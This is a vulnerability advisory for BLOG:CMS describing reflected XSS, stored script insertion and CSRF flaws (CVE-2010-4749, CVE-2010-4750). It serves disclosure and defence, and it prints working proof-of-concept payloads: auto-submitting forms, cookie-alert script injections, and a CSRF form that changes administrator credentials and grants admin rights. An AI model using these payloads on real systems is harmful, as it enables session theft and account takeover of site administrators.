High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BLOG:CMS which could be exploited to perform cross-site scripting, script insertion and cross-site request forgery attacks.
Cross-site scripting (XSS) vulnerabilities in BLOG:CMS: CVE-2010-4749
1.1 The vulnerability exists due to input sanitation error in the “amount” parameter in admin/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="blogid" value="0"> <input type="hidden" name="itemid" value="0"> <input type="hidden" name="action" value="browseowncomments"> <input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'> <input type="hidden" name="start" value="0"> <input type="hidden" name="search" value=""> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to input sanitation error in the "action" parameter in admin/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user
s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/index.php?action=settingsedit"><script>alert(document.cook ie)</script>
Script insertion vulnerability in BLOG:CMS: CVE-2010-4749
Input passed to the “body” parameter in action.php when posting comments is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Cross-site request forgery vulnerabilities in BLOG:CMS: CVE-2010-4750
The vulnerability exists due to insufficient validation of the request origin in admin/libs/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action=“http://host/admin/index.php” method=“post” name=“main”>
<input type=“hidden” name=“action” value=“changemembersettings”>
<input type=“hidden” name=“memberid” value=“USER_UD”>
<input type=“hidden” name=“name” value=“tester”>
<input type=“hidden” name=“realname” value=“tester”>
<input type=“hidden” name=“password” value=“”>
<input type=“hidden” name=“repeatpassword” value=“”>
<input type=“hidden” name=“email” value="[email protected]">
<input type=“hidden” name=“url” value=“”>
<input type=“hidden” name=“admin” value=“1”>
<input type=“hidden” name=“canlogin” value=“1”>
<input type=“hidden” name=“notes” value=“”>
<input type=“hidden” name=“deflang” value=“”>
</form>
<script>
document.main.submit();
</script>